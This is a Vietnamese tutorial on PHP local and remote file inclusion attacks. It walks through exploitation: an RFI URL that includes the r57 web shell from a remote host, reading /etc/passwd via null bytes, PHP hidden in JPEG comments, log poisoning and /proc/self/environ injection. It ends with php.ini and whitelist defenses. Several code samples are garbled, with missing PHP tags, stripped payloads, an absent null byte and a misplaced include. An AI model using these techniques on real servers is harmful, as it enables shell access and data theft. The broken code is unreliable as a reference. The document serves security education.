Trong vấn đề bảo mật web, kiểu khai thác lỗi File Include là một trong những lỗi nguy hiểm nhất. Lỗi này đã được biết đến từ lâu song hiện nay vẫn cực kỳ phổ biến. Vậy lỗi này như thế nào ? Vì sao bị lỗi ? Cách khai thác và phòng chống ra sao ?
Kiến thức bạn nên trang bị để hiểu bài này sâu hơn:
Lập trình PHP
Cơ bản về Apache
Cơ bản về Linux
Include theo tiếng Việt tạm dịch là bao gồm. Trong lập trình PHP có lệnh là include, require, require _ once, include _ once cho phép file hiện tại gọi đến một file khác.
Tùy thuộc vào mức độ bảo mật của server, kẻ tấn công có thể include file trên chính máy chủ đó (include local) hay include đến một file ở máy khác (include remote). Mục đích của kẻ tấn công là chạy được các hàm hệ thống và thu thập các thông tin nhạy cảm của hệ thống. Tất cả công việc trên kẻ tấn công có thể đạt được khi chạy được web shell (hay còn gọi là web hack tool) như c99shell, r57shell, …
Kẻ tấn công có web shell trong tay sẽ đọc được tất cả các file trong website đang chạy shell đó. Nếu server kém bảo mật thì kẻ tấn công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng máy chủ đó. Lỗi này hay được tấn dụng để tấn công local hack : kiểu tấn công máy chủ, website qua một site bị lỗi trên máy chủ. Nếu có quyền ghi, tất cả các file có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập, ẩn dấu backdoor để lần sau vào tiếp,… Kẻ tấn công cũng có thể lấy thông tin truy nhập cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở dữ liệu : ăn trộm dữ liệu, xóa, thay đổi dữ liệu,… Trong trường hợp này, cơ sở dữ liệu là MySql cho phép sử dụng hàm loadfile, thì kẻ tấn công có thể tận dụng để đọc file từ hệ thống và file của các site khác qua MySql bằng lệnh LOAD DATA LOCAL INFILE.
Ví dụ đoạn mã PHP include file:
…
include("config.php");
…
?>
Khi khai thác kẻ tấn công có thể include trực tiếp như trên hoặc có thể include một cách mềm dẻo như sau:
include($page);
?>
Khi đó nếu tham số register_globals trong file php.ini được đặt On thì biến $page sẽ là biến toàn cục, có thể gọi đến nó từ bất kì trang nào.
Nếu biến $page được sử dụng như sau: $ _ GET['page'], $ _ POST['page'], $ _ REQUEST['page'] hoặc $_COOKIE['page']
Khi đó $page sẽ có thể được gọi từ trình duyệt để include hoặc đọc file.
Ví dụ đọc file test.html : index.php?page = test.html
Hình 1. Include file từ server khác
Hình ảnh dưới đây minh họa việc đọc file boot.ini trên máy chủ windows thông qua biến script.
Hình 2. Include file từ server chủ
Các hàm có thể tận dung để khai thác include, require, require _ once, include _ once. Về cơ bản require và include giống nhau, chỉ có một điểm khác là nếu file không tồn tại thì có lỗi fatal-error và script dừng lại,không chạy tiếp.
Cách tìm lỗ hồng file includesion
Có 2 phương pháp để tìm ra lỗi này : kiểm thử hộp đen (Black- Box Testing) và kiểm thử hộp trắng (White-Box Testing).
Kiểm thử hộp trắng
Khi bạn có thể xem toàn bộ source code, áp dụng đối với phần mềm của bạn viết, phần mềm mã mở, phần mềm ai nhờ bạn test hộ,… Có thể có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng. Tìm các dòng có cú pháp tương tự như include($page) , điểm lưu ý là biến $page phải chưa được khởi tạo hoặc gán giá trị thì mới có lỗ hổng include file.
Một vài hình ảnh về shell c99, r57 (2 tool phổ biến nhất khi hack web với PHP):
Hình 3 . Hình ảnh hack tool shell c99
Hình 4. Hình ảnh hack tool shell r57
Ở 2 hình trên có thể thấy server chưa có bất kỳ một cấu hình bảo mật nào do đó qua web shell có thể truy nhập đến bất kỳ phần nào của hệ thống, thậm chí chạy được các lệnh hệ thống, hay mở các cổng để truy nhập từ xa vào hệ thống. Ví dụ mở cổng 2009 và telnet từ xa vào.
Hình 5. Công cụ bind port của r57
Hình 6. Kết nối vào sau khi bind port
Kiểm thử hộp đen
Kiểm thử hộp đen sử dụng khi bạn không có mã nguồn của mục tiêu, cũng hoàn toàn giống như khi attacker tấn công một hệ thống nào đó, chỉ có thể nhìn từ bên ngoài, đó cũng là lý do vì sao được gọi là hộp đen.
Phương pháp là thử các dữ liệu đầu vào, bất kỳ dữ liệu nào, khi ứng dụng bắn ra lỗi là bạn có thêm thông tin. Để có thể tìm ra lỗi thì có thể kiểm thử bằng công cụ quét, kiểm thử “bằng tay”. Theo kinh nghiệp của tôi, đối với lỗi này các chương trình quét tỏ ra rất kém hiệu quả, với người có kinh nghiệm thì lỗi này đôi khi chỉ cần lướt qua website một vài lần cũng có thể nhận thấy được.
Ví dụ bạn thấy có các link dạng: www.example.com/index.php?page=downloads.html như vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng cách đọc thử các file khác.
Hình 6. Đọc file /etc/passwd qua lỗi include
Ví dụ : www.example.com/index.php?page=otherfile.html ,... nếu nhận được lỗi
Warning:
include(otherfile.html) [function.include]: failed to open stream: No such file or directory in /home/site/public_html/ index.php on line x.
Thì có nghĩa là file đó không tồn tại.
Một trong các file có thể dùng để kiểm tra và có thêm thông tin là robots.txt.
Hình 7. Đọc file qua lỗi include
Tìm lỗi qua các máy tìm kiếm
Có thể trực tiếp tìm thông tin về lỗi của mục tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như http://www.milw0rm.com nếu đã biết tên phần mềm trang web mục tiêu dùng.
Hình 8. Trang milw0rm.com
Dùng Google CodeSearch
Cú pháp : lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Hình 9. Tìm lỗi qua Google Code Search
Null-Byte
Trong một số trường hợp include được dùng như sau:
include($page.".html");
Khi đó chỉ các file .html mới được include, vậy làm sao để đọc được file khác?
Null-byte sẽ cho phép đọc file khác bằng cách thêm null byte vào cuối file cần đọc.
Đọc file /etc/passwd
index.php?page =/ etc/passwd
Khi đó include("/etc/passwd.html"); trở thành include("/etc/ passwd");
Tuy nhiên không phải lúc nào nul-bite cũng có tác dụng, tùy thuộc webserver, code,…
Khai thác lỗ hổng (Exploiting)
Khi phát hiện ra lỗi làm sao có thể khai thác được? Phần trên phần nào bạn cũng đã nhận thấy một số cách khai thác. Về cơ bản có hai kiểu khai thác là inclde file từ máy chủ khác (RFI – Remote file include), include file từ chính máy chủ lỗi (LFI – Local file include).
Remote file include (RFI)
Khi bị lỗi này tức là tham số register_globals=On, với lỗi này người không cần có nhiều kiến thức về lập trình cũng dễ dàng khai thác được thông tin. Kẻ tấn công chỉ cần đặt file web hack tool trên một máy chủ nào đó (thường là host miễn phí) và include qua lỗi.
http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt
File được include vào là file r57.txt từ host remote.vnsecurity.vn. Kết quả tham khảo hình 1.
Local file include (LFI)
Nếu tham số allow_url_fopen trong file php.ini đặt là Off thì sẽ không thể thực hiện include file từ máy chủ khác. Khi đó chỉ khai thác được dạng include trên cùng máy chủ, cũng tùy cấu hình server an toàn hay không mà attacker có thể đọc được file ngoài thư mục của website có lỗi. Khi đó để có thể khai thác tốt cần có một web shell trên máy chủ, làm sao để có được web shell? Có thể có nhiều cách nhưng đòi hỏi người khai thác phải có kinh nghiệm và hiểu biết về PHP, apache, Linux. (Trên Windows cũng tương tự nhưng có một số điểm khác, tôi không trình bày ở tài liệu này).
Một trong các điểm quan trọng trong khai thác LFI là đọc các file nhạy cảm của hệ thống, website. Một số file quan trong đối với hệ điều hành Linux /etc/passwd, /etc/group, httpd.conf,…
File /etc/passwd chứa thông tin về tài khoản của hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu, thường là Brute force (dân lập trình thường gọi là duyệt trâu ). Nếu mật khẩu không được shadowed, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd, có được file này attacker có thể có được mật khẩu bằng cách crack (dùng John the Ripper chẳng hạn). Còn nếu không mật khẩu mã hóa nằm trong /etc/shadow (có thể ở thư mục khác đối với các bản Linux và Unix).
Ví dụ cú pháp trong shadow :
guru:$1$OiD7e.JO$AGoOmlOsUK1XBw2qJcx4z0:14286:0:99999:7:::
File httpd.conf là file cấu hình của webserver Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với việc khai thác là error_log, access_log, DocumentRoot,…
Một số file quan trọng của website như .htaccess , file cấu hình chứa mật khẩu của database (thường là config.inc, configuration.php,…)
LFI cũng được dùng kết hợp với lỗi upload để có được web shell. Nếu lỗi upload file có thể up được trực tiếp web shell lên và chạy được thì không cần dùng đến LFI. Nhưng nếu có lỗi upload, chỉ upload được các file ảnh,… thì có thể tận dụng LFI. Việc cần làm là định vị ví trí file ảnh nhiệm vụ này khó hay không tùy thuộc kinh nghiệm tường người .
Trong việc upload ảnh lên cũng có rất nhiều kiểu tùy thuộc code của chương trình upload. Nếu chỉ lọc đuôi file thì đơn giản bạn chỉ cần đổi tên web shell từ .php sang đuôi của ảnh .jpg chẳng hạn. Nếu chương trình upload kiểm tra xem có đúng là ảnh không thì làm sao để chèn code PHP vào file ảnh ? Phần dưới tôi sẽ nói về chèn code vào file ảnh mà vẫn là file ảnh thực sự.
Hình 10. Include code PHP từ file ảnh
Ẩn code PHP và cách dấu shell
Có nhiều chỗ có thể ẩn code PHP như trong chính file PHP, file log, file ảnh hay bất kỳ file gì.
Chèn PHP vào ảnh
Như ở trên tôi đã nói chèn code PHP vào ảnh để làm gì ? Ở đây chèn code PHP vào file ảnh mà file ảnh đó vẫn là một file ảnh thực sự. Vậy chèn code PHP vào phần nào của ảnh ? Ta sẽ thêm code PHP vào phần comment của ảnh, tuy nhiêm phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…
Có 2 chương trình phổ biến để chèn code PHP vào ảnh là :
+ edjpgcom.exe dùng cho Windows
Download : http://guru.net.vn/content/binary/edjpgcom.zip
Hình 11. Giao diện edjpgcom
Hình 12. File ảnh sau khi đã thêm code PHP, không có gì thay đổi
Hình 13. Kết quả include file ảnh có chứa code upload
+ jhead cho Linux và Windows
Download : http://freshmeat.net/projects/jhead/
Hình 14. Hình ảnh jhead
Hình 15. Chạy hàm hệ thống qua code chèn trong ảnh
Code PHP trong logfil
Mỗi một website khi chạy, toàn bộ thông tin truy cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log, error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).
Ví dụ minh họa dưới đây cho thấy việc chèn code / vào file log.
Tạo 1 file fopen.php như sau:
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
include($_GET['page'].".php");
}
echo $res;
?>
Hình 16. Tạo request lỗi
Hình 17. File log ghi nhận lỗi có chứa mã PHP
Hình 18. Include file log
Trong một vài trường hợp một số phần của website lưu dữ liệu ra file text ví dụ như maillist, blogroll,..
Thường thì phần này sẽ lưu thông tin người dùng thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces, file config của site,…
Ví dụ đoạn code lỗi:
echo '
echo 'E-Mail Address';
echo '';
echo '';
echo '';
if(isset($_POST['submit'])){
$data = $_POST['email'];
$fp = fopen("data.txt","a+");
$wr = fwrite($fp,$data);
fclose($fp);
}
?>
File dữ liệu là file data.txt, có thể tận dụng file này để khai thác.
Kết hợp file include và SQL Injection
Với một số phần mềm hiện nay, hay có thêm phần module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke có đoạn code như sau :
$REQ = print_r($_REQUEST,true);
$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];
$time = 'Date: '.date("d.m.y - H:i:s");
$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];
$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];
if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){
$fp = fopen("attacks.txt","a+");
fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");
fclose($fp);
header('Location: http://www.google.com');
}
?>
Khi đó các request từ trình duyệt có từ UNION và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt.
Như vậy có thể chèn mã PHP vào file đó như sau:
http://www.example.com/index.php?id= UNION SELECT
Code PHP trong /proc
/proc là một thư mục cho phép giao tiếp giữa nhân hệ điều hành (kernel) với với người dùng của hệ điều hành (user). Tất cả các file trong /proc không có trên đĩa cứng nó tồn tại trong RAM.
Trong phần này có thể lợi dụng để chèn code qua Referer, phần code này sẽ được lưu trong file nằm trong thư mục có tên trùng với process ID Apache đang chạy site đó. Tìm được file này cũng có thể include được.
Code minh họa:
$res = '';
$fp = fsockopen('www.lab.vnsecurity.com', 80);
if(!$fp){
echo "hi!.";
}
fputs($fp, "GET /index.php?page=/proc/self/environ HTTP/1.1\r\n");
fputs($fp, "Referer: \r\n");
fputs($fp, "Host: www.lab.vnsecurity.com\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>
Cách chống tấn công File Inclusion
Quan phần trên bạn đã có thể hình dung lỗi như thế nào, tấn công ra sao? Vậy làm gì để chống lại các tấn công inlude file?
Về cơ bản có 2 việc phải làm:
Server an toàn
Lập trình an toàn (cái này rất quan trọng vì code có thể triển khai ở nhiều server)
Server an toàn
Để có một server an toàn không hề đơn giản nó đòi hỏi bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như quản trị. Phần này tôi chỉ nói các phần liên quan đến file include thôi.
Trong php.ini đặt các tham số allow_url_fopen=Off (allow_url_fopen=Off) , register_globals=Off, Safe_mode=On, display_error=Off
Đặt quyền cho các thư mục hợp lý
Lập trình an toàn
Bắt lỗi chặt chẽ
Bất cứ biến nào cũng cần khởi tạo
Sử dụng đường dẫn tuyệt đối
Một ví dụ code chặt chẽ:
$whitelist = array('index.html', 'downloads.html', 'info.html');
$page = $_GET['page'];
if(in_array($page,$whitelist)){
include($page);
}else{
die("Attack attempt");
}
?>
Cuối cùng, chúc bạn có hiểu biết về file include và có phát hiện và ngăn chặn các tấn công kiểu này.
Goodluck!
Tham khảo : hakin9, http://www.milw0rm.com/papers/232 , http://www.owasp.org
Tác giả:
Phạm Đức Hải
Also post : VnSecurity.vn Tấn công File Inclusion (File Inclusion Attacks)